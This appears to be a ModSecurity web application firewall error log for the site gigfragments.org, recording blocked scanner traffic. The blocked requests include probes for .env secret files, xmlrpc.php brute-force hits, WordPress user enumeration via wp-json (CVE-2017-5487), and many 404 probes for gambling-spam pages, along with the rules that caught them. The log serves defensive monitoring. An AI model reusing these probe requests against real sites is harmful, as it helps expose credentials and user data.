[Fri May 22 15:44:32.843881 2026] [:error] [pid 58782:tid 58784] [client 94.154.239.69:56534] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "ahAJYIxsdTFafgO8vhQCCAAAAQA"]
[Fri May 22 16:30:36.901530 2026] [:error] [pid 15584:tid 15631] [client 170.106.72.178:36716] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahAULN9Z_TVLbNEx52gEFAAAAEs"]
[Fri May 22 17:11:08.050177 2026] [:error] [pid 15584:tid 15644] [client 34.93.63.75:60363] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahAdrN9Z_TVLbNEx52gL1QAAAFg"]
[Fri May 22 17:11:08.347918 2026] [:error] [pid 15584:tid 15628] [client 34.93.63.75:62018] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdrN9Z_TVLbNEx52gMAgAAAEg"]
[Fri May 22 17:11:08.644248 2026] [:error] [pid 15584:tid 15640] [client 34.93.63.75:63438] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feed/"] [unique_id "ahAdrN9Z_TVLbNEx52gMIwAAAFQ"]
[Fri May 22 17:28:16.557013 2026] [:error] [pid 15679:tid 15681] [client 36.83.124.122:54625] [client 36.83.124.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env/.env.bak"] [unique_id "ahAhsCh8tgGc38WJ-Gw0MAAAAMA"]
[Fri May 22 17:31:46.390439 2026] [:error] [pid 15679:tid 15697] [client 43.164.131.148:46280] [client 43.164.131.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahAigih8tgGc38WJ-Gw09QAAANA"]
[Fri May 22 20:52:54.560645 2026] [:error] [pid 15585:tid 15647] [client 43.162.95.192:34358] [client 43.162.95.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahBRpiKb-vB41AF-LC2MBAAAAIA"]
[Fri May 22 21:12:50.766053 2026] [:error] [pid 15679:tid 15699] [client 34.148.60.67:61473] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWUih8tgGc38WJ-GxnSAAAANI"]
[Fri May 22 21:12:54.308622 2026] [:error] [pid 15679:tid 15693] [client 34.148.60.67:61473] [client 34.148.60.67] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBWVih8tgGc38WJ-GxnUQAAAMw"]
[Fri May 22 21:12:56.151359 2026] [:error] [pid 15679:tid 15685] [client 34.148.60.67:61473] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWWCh8tgGc38WJ-GxnUwAAAMQ"]
[Fri May 22 21:12:58.097998 2026] [:error] [pid 15585:tid 15653] [client 34.148.60.67:51918] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWWiKb-vB41AF-LC2RgQAAAIY"]
[Fri May 22 21:13:00.012160 2026] [:error] [pid 15583:tid 15590] [client 34.148.60.67:56748] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWXHnaOncRcIm17YUcJQAAAAI"]
[Fri May 22 21:13:02.215034 2026] [:error] [pid 15584:tid 15641] [client 34.148.60.67:54209] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWXt9Z_TVLbNEx52g5YQAAAFU"]
[Fri May 22 21:13:04.193594 2026] [:error] [pid 15679:tid 15685] [client 34.148.60.67:65496] [client 34.148.60.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.60.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWYCh8tgGc38WJ-GxnWwAAAMQ"]
[Fri May 22 21:13:04.193749 2026] [:error] [pid 15679:tid 15685] [client 34.148.60.67:65496] [client 34.148.60.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.148.60.67, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBWYCh8tgGc38WJ-GxnWwAAAMQ"]
[Fri May 22 21:44:32.365045 2026] [:error] [pid 58813:tid 58833] [client 119.28.100.145:38546] [client 119.28.100.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahBdwJ6yyKWDKULhxJ2RCQAAAVE"]
[Fri May 22 22:07:03.783191 2026] [:error] [pid 15584:tid 15634] [client 145.239.69.40:36820] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahBjB99Z_TVLbNEx52hDdgAAAE4"]
[Fri May 22 22:07:05.619029 2026] [:error] [pid 15585:tid 15653] [client 145.239.69.40:60018] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahBjCSKb-vB41AF-LC2iVAAAAIY"]
[Fri May 22 22:07:07.525226 2026] [:error] [pid 58782:tid 58806] [client 145.239.69.40:60028] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ahBjC4xsdTFafgO8vhQzOgAAARY"]
[Fri May 22 22:07:09.427658 2026] [:error] [pid 58782:tid 58805] [client 145.239.69.40:44872] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ahBjDYxsdTFafgO8vhQzPAAAARU"]
[Fri May 22 22:07:11.468975 2026] [:error] [pid 15679:tid 15687] [client 145.239.69.40:44882] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ahBjDyh8tgGc38WJ-Gx2rgAAAMY"]
[Fri May 22 22:07:13.533563 2026] [:error] [pid 15584:tid 15621] [client 145.239.69.40:44888] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ahBjEd9Z_TVLbNEx52hDegAAAEE"]
[Fri May 22 22:07:15.430330 2026] [:error] [pid 15679:tid 15692] [client 145.239.69.40:44894] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ahBjEyh8tgGc38WJ-Gx2uQAAAMs"]
[Fri May 22 22:07:17.482493 2026] [:error] [pid 15679:tid 15691] [client 145.239.69.40:44896] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ahBjFSh8tgGc38WJ-Gx2vgAAAMo"]
[Fri May 22 22:07:19.533448 2026] [:error] [pid 58813:tid 58822] [client 145.239.69.40:51134] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ahBjF56yyKWDKULhxJ2UFwAAAUY"]
[Fri May 22 22:07:21.565657 2026] [:error] [pid 58813:tid 58823] [client 145.239.69.40:51150] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ahBjGZ6yyKWDKULhxJ2UGAAAAUc"]
[Fri May 22 22:07:23.463316 2026] [:error] [pid 15585:tid 15668] [client 145.239.69.40:51158] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ahBjGyKb-vB41AF-LC2ibwAAAJU"]
[Fri May 22 22:07:25.347695 2026] [:error] [pid 58782:tid 58787] [client 145.239.69.40:51174] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahBjHYxsdTFafgO8vhQzQwAAAQM"]
[Fri May 22 22:07:27.233762 2026] [:error] [pid 15679:tid 15685] [client 145.239.69.40:51180] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ahBjHyh8tgGc38WJ-Gx2xAAAAMQ"]
[Fri May 22 22:07:29.272226 2026] [:error] [pid 15583:tid 15598] [client 145.239.69.40:46782] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ahBjIXnaOncRcIm17YUpawAAAAo"]
[Fri May 22 22:07:31.172090 2026] [:error] [pid 15584:tid 15628] [client 145.239.69.40:46788] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ahBjI99Z_TVLbNEx52hDiAAAAEg"]
[Fri May 22 22:07:33.191815 2026] [:error] [pid 15584:tid 15631] [client 145.239.69.40:46794] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ahBjJd9Z_TVLbNEx52hDiwAAAEs"]
[Fri May 22 22:07:35.063932 2026] [:error] [pid 15583:tid 15608] [client 145.239.69.40:46802] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ahBjJ3naOncRcIm17YUpegAAABQ"]
[Fri May 22 22:07:37.113222 2026] [:error] [pid 15584:tid 15621] [client 145.239.69.40:46804] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ahBjKd9Z_TVLbNEx52hDkAAAAEE"]
[Fri May 22 22:07:38.995045 2026] [:error] [pid 15679:tid 15705] [client 145.239.69.40:46816] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ahBjKih8tgGc38WJ-Gx2zwAAANg"]
[Fri May 22 22:07:40.892072 2026] [:error] [pid 15583:tid 15611] [client 145.239.69.40:60328] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ahBjLHnaOncRcIm17YUpfgAAABc"]
[Fri May 22 22:07:42.904067 2026] [:error] [pid 15584:tid 15643] [client 145.239.69.40:60330] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ahBjLt9Z_TVLbNEx52hDmQAAAFc"]
[Fri May 22 22:07:44.784207 2026] [:error] [pid 58782:tid 58796] [client 145.239.69.40:60338] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ahBjMIxsdTFafgO8vhQzTgAAAQw"]
[Fri May 22 22:07:46.800345 2026] [:error] [pid 15585:tid 15649] [client 145.239.69.40:60350] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ahBjMiKb-vB41AF-LC2ihAAAAII"]
[Fri May 22 22:07:48.665318 2026] [:error] [pid 15585:tid 15655] [client 145.239.69.40:60356] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ahBjNCKb-vB41AF-LC2iiAAAAIg"]
[Fri May 22 22:07:50.680020 2026] [:error] [pid 15585:tid 15652] [client 145.239.69.40:35278] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ahBjNiKb-vB41AF-LC2iigAAAIU"]
[Fri May 22 22:07:52.695885 2026] [:error] [pid 58813:tid 58819] [client 145.239.69.40:35294] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ahBjOJ6yyKWDKULhxJ2ULQAAAUM"]
[Fri May 22 22:07:54.701464 2026] [:error] [pid 15585:tid 15647] [client 145.239.69.40:35298] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ahBjOiKb-vB41AF-LC2ijgAAAIA"]
[Fri May 22 22:07:56.715998 2026] [:error] [pid 58813:tid 58820] [client 145.239.69.40:35310] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ahBjPJ6yyKWDKULhxJ2UNgAAAUQ"]
[Fri May 22 22:07:58.580585 2026] [:error] [pid 15679:tid 15697] [client 145.239.69.40:35312] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ahBjPih8tgGc38WJ-Gx21gAAANA"]
[Fri May 22 22:08:33.797465 2026] [:error] [pid 58813:tid 58824] [client 145.239.69.40:43042] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ahBjYZ6yyKWDKULhxJ2UdAAAAUg"]
[Fri May 22 22:08:35.722512 2026] [:error] [pid 58813:tid 58834] [client 145.239.69.40:47328] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ahBjY56yyKWDKULhxJ2UdwAAAVI"]
[Fri May 22 22:08:37.710378 2026] [:error] [pid 15583:tid 15592] [client 145.239.69.40:47330] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ahBjZXnaOncRcIm17YUpqQAAAAQ"]
[Fri May 22 22:08:39.705031 2026] [:error] [pid 58782:tid 58802] [client 145.239.69.40:44170] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahBjZ4xsdTFafgO8vhQzXwAAARI"]
[Fri May 22 22:08:41.696621 2026] [:error] [pid 15585:tid 15654] [client 145.239.69.40:44186] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ahBjaSKb-vB41AF-LC2itgAAAIc"]
[Fri May 22 22:08:43.673631 2026] [:error] [pid 15583:tid 15591] [client 145.239.69.40:44196] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ahBja3naOncRcIm17YUprQAAAAM"]
[Fri May 22 22:08:45.524619 2026] [:error] [pid 15585:tid 15663] [client 145.239.69.40:44208] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ahBjbSKb-vB41AF-LC2iuAAAAJA"]
[Fri May 22 22:08:47.520435 2026] [:error] [pid 15585:tid 15659] [client 145.239.69.40:44214] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahBjbyKb-vB41AF-LC2iuwAAAIw"]
